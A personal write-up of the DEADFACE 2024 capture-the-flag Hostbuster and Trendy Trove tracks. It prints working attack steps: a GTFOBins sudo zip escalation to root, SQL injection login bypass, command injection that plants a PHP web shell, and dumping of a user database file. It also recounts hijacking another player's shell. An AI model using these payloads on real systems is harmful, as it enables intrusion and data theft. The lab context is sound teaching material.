DEADFACE CTF
During October 2024, the cybersecurity month, I took part to the yearly DEADFACE CTF for the first time and it was quite fun.
I completed the Hostbuster track consisting of owning a Linux machine and this is my writeup. I jumped right into it because I tough it wasn’t going to be a big deal and indeed it took me less than an hour to complete, thus this track is excellent because you can find typical misconfigurations for at least the first half of the flag.
I also completed the Trendytrove track which apparently wasn’t that easy to fully complete (47 solves on the last challenge). This track was about sql injection, directory fuzzing and then RCE.
Hostbuster - 5 Flags
Flag 1: Landing zone
So the first step consisted of connecting to the remote machine with the provided credentials on the website:
1
ro@Parrot:~/$ ssh deephax@deephax.deadface.io
And the first flag could be found by cating the file in the current directory
1
2
3
4
~ $ ls
flag1.txt hint.txt
~ $ cat flag1.txt
flag{hostbusters1_e361b9b8352eea50}~ $
Flag 2: Short-Term Flag 3: Mind Your Surroundings
The third flag was also pretty straightforward (it appeared to me before the second one), there was a hint note next to the flag which clearly let know tha we have to use the env
command:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
~ $ cat hint.txt
The environment hides many secrets...
~ $ env
USER=deephax
SHLVL=2
HOME=/home/deephax
PAGER=less
LOGNAME=deephax
TERM=xterm
LC_COLLATE=C
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LANG=C.UTF-8
flag3=flag{hostbusters3_ff07d6fb5ee992f6}
SHELL=/bin/sh
PWD=/home/deephax
CHARSET=UTF-8
~ $
Running this command also tells us a lot about the system and is something that you should do when you have all sort of bash/ssh/jail challenges. Here I noticed that i am the user deephax (seems obvious because I SSH’ed as this user but I have seen jails where this information is not as obvious), and we can also see that we are using sh
as our shell.
Flag 2: Short-Term
This flag requires to search a little bit across the system everywhere you can. Sometimes it is a hidden file (starting with a dot), it could also be explicit (named flag
) or implicit. Some interesting directories are the home of the users (your own but could also be the others if you are lucky enough to have the permissions), the directories /var
, /tmp
, /usr
, etc. I found the flag my listing the /tmp
directory (short-term says the flag, just like my memory). Also when entering in such challenges, do not hesitate to setup your own aliases such as I did, it saves you time and it’s a set it and forget it thing.
1
2
3
4
5
6
7
8
9
~ $ alias "ls"="ls -la"
~ $ ls /tmp
total 12
drwxrwxrwt 1 root root 4096 Sep 29 17:52 .
drwxr-xr-x 1 root root 4096 Oct 20 23:20 ..
-rw-r--r-- 1 root root 35 Sep 29 17:51 .flag2.txt
-rw-r--r-- 1 root root 0 Sep 29 17:52 makewhatis.lock
~ $ cat /tmp/.flag2.txt
flag{hostbusters2_0a2e2dd0461a7fd3}~ $
You can also slam your best find command on the table and let it cook for you:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
~ $ find / -name '*flag*' 2> /dev/null
/usr/lib/gcc/x86_64-alpine-linux-musl/13.2.1/plugin/include/flag-types.h
/usr/lib/gcc/x86_64-alpine-linux-musl/13.2.1/plugin/include/insn-flags.h
/usr/lib/gcc/x86_64-alpine-linux-musl/13.2.1/plugin/include/cfg-flags.def
/usr/lib/gcc/x86_64-alpine-linux-musl/13.2.1/plugin/include/flags.h
/usr/share/man/man3type/tcflag_t.3type.gz
/usr/share/man/man5/proc_kpageflags.5.gz
/usr/share/man/man3/fegetexceptflag.3.gz
/usr/share/man/man3/fesetexceptflag.3.gz
/usr/share/man/man2/ioctl_iflags.2.gz
/proc/sys/kernel/acpi_video_flags
/proc/sys/net/ipv4/fib_notify_on_flag_change
/proc/sys/net/ipv6/fib_notify_on_flag_change
/proc/kpageflags
/sys/devices/pnp0/00:00/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/virtual/net/eth0/flags
/sys/devices/virtual/net/lo/flags
/sys/module/scsi_mod/parameters/default_dev_flags
/tmp/.flag2.txt
/home/deephax/flag1.txt
~ $
But you have to filter the real flag(s) out of all the garbage (you can also use regex in find to improve the process).
Flag 4: Eavesdroppers
At this point of the track; the number of solving dropped from ~380 to ~200 so I guess this is where things started to get tough.
The message coming with the flag title was:
Scope out and continue characterizing the host. What is the deephax’s machine doing? Surely it’s doing something - we need to find out what in order to get the fourth flag.
So we had to figure out what this machine was doing, staring by using ps
.
1
2
3
4
5
6
7
8
~ $ ps -a
PID USER TIME COMMAND
1 root 0:00 {start.sh} /bin/sh /usr/local/bin/start.sh
9 root 0:00 crond -b -l 5 -L /dev/null
10 root 0:00 /usr/local/bin/usrv
12 deephax 0:00 /bin/sh
82 deephax 0:00 ps -a
~ $
Some stuff are weird here. The root user is running a cronjob, along with something called usrv
and a script called start.sh
. But there is nothing really explicit about what the server is doing. Before investigating on the cronjob I tried to see which port were open on the machine using netstat
as a last try to see if we could figure out something else and it looks like it paid off.
1
2
3
4
5
6
7
netstat: can't scan /proc - are you root?
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
udp 0 0 0.0.0.0:2342 0.0.0.0:* -
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node PID/Program name Path
~ $
So not only we have a port open but also listening for all incoming connections on udp protocol. As with every techno I don’t really know about I try to establish a netcat connection to introduce myself.
1
2
3
4
~ $ nc -u 127.0.0.1 2342
hello
flag{hostbusters4_3dbd2ed4c572b7ea}Flag sent to client.
Do not forget the -u as it is a UDP connection And boom another flag.
Flag 5: Under Pressure
Remember this cronjob wizardry ? Let’s investigate this with in mind the fact that this challenge had the tag “privesc”. I often make references to what is written on the challenges statements and it might be because of my academical background but trust me, when you do not know what to look for, the statement often set a crucial context and you can sometimes guess what you are expected to do. So let’s root bad boy.
1
2
3
4
5
6
7
8
9
10
11
~ $ cat /etc/crontabs/root
# do daily/weekly/monthly maintenance
# min hour day month weekday command
*/15 * * * * run-parts /etc/periodic/15min
0 * * * * run-parts /etc/periodic/hourly
0 2 * * * run-parts /etc/periodic/daily
0 3 * * 6 run-parts /etc/periodic/weekly
0 5 1 * * run-parts /etc/periodic/monthly
* * * * * /opt/sendit/sendit >> /var/log/sendit.log 2>&1
~ $
So something is going on with a program called sendit called every time and the standard error is sent to the logs. Let’s see what it this.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
~ $ /opt/sendit/sendit
Error, no such host: c2.deadface.io
~ $ cat /var/log/sendit.log
Error, no such host: c2.deadface.io
Error, no such host: c2.deadface.io
Error, no such host: c2.deadface.io
Error, no such host: c2.deadface.io
Error, no such host: c2.deadface.io
...
~ $ ls /opt/
readlog/ sendit/
~ $ ls /opt/sendit/
.config.conf sendit
~ $ ls /opt/sendit/sendit
-rwxr-xr-x 1 root root 19072 Sep 29 17:51 /opt/sendit/sendit
The script seems to try to establish a connection with its C2. Most of the privesc on Linux are sudo misconfigurations or SUID on program you can abuse. By the way, I tried sudo -l
and it asked for a password and failed. Here we can see that I discovered a folder called readlogs that is not supposed to be here next to sendit
. sendit
belongs to root, I cated it and (not showing you the garbage) it is a binary. It doesn’t seems to be made to take whatever input you give it but readlog ? This thing speaks for itself and is calling me to input some bad things into it:
1
2
3
4
5
6
7
8
9
10
11
12
~ $ ls /opt/readlog
total 8
drwxr-xr-x 1 root root 4096 Sep 29 17:52 .
drwxr-xr-x 1 root root 4096 Sep 29 17:52 ..
~ $ find / -type f -name "*readlog*" 2>/dev/null
/usr/bin/readlog
/usr/share/man/man1/readlog.1
~ $ readlog
Usage: readlog [-f FILE] [-v]
-f FILE Read the specified file.
-v Display version information.
~ $
(Yeah it wasn’t in the associated opt directory but I just assumed it was somewhere in the machine.)
1
2
3
~ $ ls /usr/bin/readlog
-rwsr-sr-x 1 lilith lilith 19072 Sep 29 17:52 /usr/bin/readlog
~ $
Okay so giving us access to prives directly to the root user seems to be too easy for this CTF, seeing who’s owning this executable we might have to make an horizontal privesc before reaching root.
This binary (I also cated it, not showing you, the file
command wasn’t installed) seems to be a custom tool because it has nothing to do with Linux legacy stuff. I messed around, tried to read files with it and it just worked. At some point I just exfiltrated the binary to reverse it. To exfiltrate a binary you can just input it to base64, copy paste the base64 on your machine and revert the process.
1
2
~ $ base64 -w0 /usr/bin/readlog
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAEBEAAAAAAABAAAAAAAAAAIBBAAAAAAAAAAAAAEAAOAANAEAAJAAjAAYAAAAEAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAA2AIAAAAAAADYAgAAAAAAAAgAAAAAAAAAAwAAAAQAAAAYAwAAAAAAABgDAAAAAA...
Then on your local machine create a text file where you paste the base64 string and:
1
RMI78@4tt4ck:~/Downloads/DEADFACE/Hostbuster$ base64 -d readlogs > readlogs2.exe
The binary has not for purpose to run on your machine, the goal is here to input it into Ghidra, Angr or whatever tool you use for reverse engineering.
You can see over the different tools and with the above image that there is a command called “execute_command_as_lilith” which smells really good, and in the main function, you can see by the getops function that you also have an hidden option “c” which could stand for “command” so let’s try opening a bash with that.
1
2
3
4
5
~ $ /usr/bin/readlog -c sh
Executing command as lilith: sh
~ $ whoami
lilith
~ $
Okay so my first reflex after that was to see if sudo can be abused.
1
2
3
4
~ $ sudo -l
User lilith may run the following commands on 330f0a5da9a4:
(ALL) NOPASSWD: /usr/bin/zip
~ $
And now if you know the website GTFOBins, you know it is already a win to root. Look for the appropriate zip page, you barely have to understand the payload, just copy-past and you’re in:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
~ $ TF=$(mktemp -u)
~ $ sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF adding: etc/hosts (deflated 35%)
/home/deephax # sudo rm $TF
BusyBox v1.36.1 (2024-06-10 07:11:47 UTC) multi-call binary.
Usage: rm [-irf] FILE...
Remove (unlink) FILEs
-i Always prompt before removing
-f Never prompt
-R,-r Recurse
/home/deephax # whoami
root
/home/deephax #
Then the challenge statement says: “There is a flag that belongs to the root user.”. Seems straightforward to me:
1
2
3
4
5
home/deephax # ls /root/
flag6.txt
/home/deephax # cat /root/flag6.txt
flag{hostbusters6_41a4e1304f74df0c}
/home/deephax #
Flag 6: Send It
Okay so when I saw the challenge name, I knew something was going on with the sendit
program. I remember there was a .config.json when listing the directory of the program.
1
2
3
4
5
6
7
/home/deephax # cat /opt/sendit/.config.conf
{
"host": "c2.deadface.io",
"port": 1516,
"path": "/opt/sendit"
}
/home/deephax #
At this point it is pretty obvious to see where this is going. As root you can either change the config file I opted for the second option to let everything untouched here: change the /etc/hosts
file to redirect all traffic going to this domain, on localhost:
1
2
3
/home/deephax # echo "127.0.0.1 c2.deadface.io" >> /etc/hosts
/home/deephax # nc -lp 1516
flag{hostbusters5_7af321526c15006a}
Then I just set up netcat to listen on the right port and as it is a cronjob, I know it is not instantaneous so I just waited a couple of minutes and Voila !
Trendy Trove - 3 Flags
Flag 1: Let me In
This one was solved many times, pretty straightforward, you land on website asking you for some credentials, again “sql” in the tags associated with the challenge, first try (pretty much proud of it):
Because it is on the username you log with a user ID of 1 which is the admin which grant you admin right and then you grab the flag on the first item.
Flag 2: Yalonda
Here we need to find Yalonda’s birthday date, mean there should be a way to expose customer’s data, so I messed around with the application, explored the profile page but nothing. Instead of fuzzing the website, I just, by pure coincidence, tried to see if there was an admin page by entering the following url:
1
https://trendytrove.deadface.io/admin.php
But still no way to have Yalonda’s birthday date. Something was wrong with this page, the “Status Check” kept repeating the same thing no matter how many times I pressed the button:
So I started the development tool on my browser to see the request being sent to the server when I pressed the button:
Oh boy, that is an RCE (Remote Code Execution) here, the “command” value is something executed on the server. From here some folks may start their best Burp Suite or whatever tool proxying browser to intercept and modify the request before it leaves. I personnaly stayed with my Firefox knowing you can replay requests from the dev tool interface, so I tried a couple of options to see what I can do as an (I assumed) “www-data” user.
I tried the following input as a command because having write permission on the folder would allow the injection of a PHP web shell:
1
command="echo thisisatest > test.txt && ls -a"&check_status=
And I was right about the RCE and writing access (text.txt cropped away from the image)
So let’s inject a webshell ! You can choose something flashy from GitHub, I just stay stuck with the most short and basic one who gets you everywhere:
<?php system($_GET['cmd']); ?>
This way you can just send your command through the cmd argument, it is ugly but it works.
So just send
1
command=echo '<?php system($_GET['cmd']); ?>' > webshell.php&check_status=
and go to the /webshell.php?cmd=whoami page:
If we forget the warning we are in as www-data, from here let’s do a little bit of explorations !
From the previous screenshot you can already tell that we are in a Docker container (the Dockerfile) which is typically what you want to have when you create a CTF but it also involves some automatic setup such as populating the database, and it seems like there is a db-init directory, which hold an init.sql
file, so by injecting the following command:
1
https://trendytrove.deadface.io/webshell.php?cmd=cat%20db-init/init.sql
you get the following result:
All the different data about all the different users, including non-hashed password (which allow you to legitimately log as any user in the website if you want) but also Yalonda’s birthday date which is the flag.
1
flag{1990-03-05}
Flag 3: Compromised data
This flag was about credit cards data which we already had since we “dumped” the database before but still no flags which is weird. Let’s explore the system again looking for something else apparently. If we list the current directory we have something called output (can also be seen when I did the first injection), it turned out to be a directory containing something called customer.csv
. Let’s cat
it then:
There you have the last flag
1
flag{C0MM4ND_1NJ3CT10N_3XP0S3D_D4T4}
Oopsie
During the CTF, this Docker container received some injections such as I did, there was a couple of WebShells including mine but at some point I have seen only 2 webshells remaining, mine and a _r_.php
then suddenly only my webshell got wiped of the system, not the other one. So if you had this shell and you removed mine just know that I read your password-protected shell code, then I reused the RCE to erase your SHA/MD5 password-hashed by mine, thus, stealing your shell (which was really good by the way). If you removed mine I think it’s fair, if not… Oopsie.
Conclusion
As said in the intro, those tracks were really interesting because using a lot of typical vulnerabilities. I really enjoyed it and I wanted to thanks syyntax for all the hard work on it.
I also did a lot of other challenges but most of them are harder to explain, or I am too lazy to explain them, or again, someone else did a fantastic writeup on it and writing writeups takes times and energy that I am running out of.
Other writeups per challenges
The TheZeal0t video covers:
- The full Cereal Killer track
- Syncopated Beat - Steganography
- Sleeping (Marble) Beauty - Steganography
- Image of the Beast - Steganography
- She’s Got Issues - OSINT
- Juggling Too Many - PWN
- The Silver Swan - Programming
On RP-01’s Medium, you can find:
- The full Chase track
- Hidden in Plain Site - OSINT
- Missing Persons - OSINT
- Price Check - Steganography
- Data Breach - Traffic Analysis
- Wild Wild West - Traffic Analysis
On neatzsche’s GitHub repo, you can find code for:
- Discreet Log - Cryptography
- Killer Curves - Cryptography
- Dead Browse 1 - dead_browse
- ShellDrizzle - dead_browse
And finally you can find all writeups for challenges made by syyntax here which includes:
- Offsite Target - Steganography
- Something in the Dark - Steganography
- Descended from Wolves - Steganography
- Electric Soldiers - Steganography
- Tri Harder - Steganography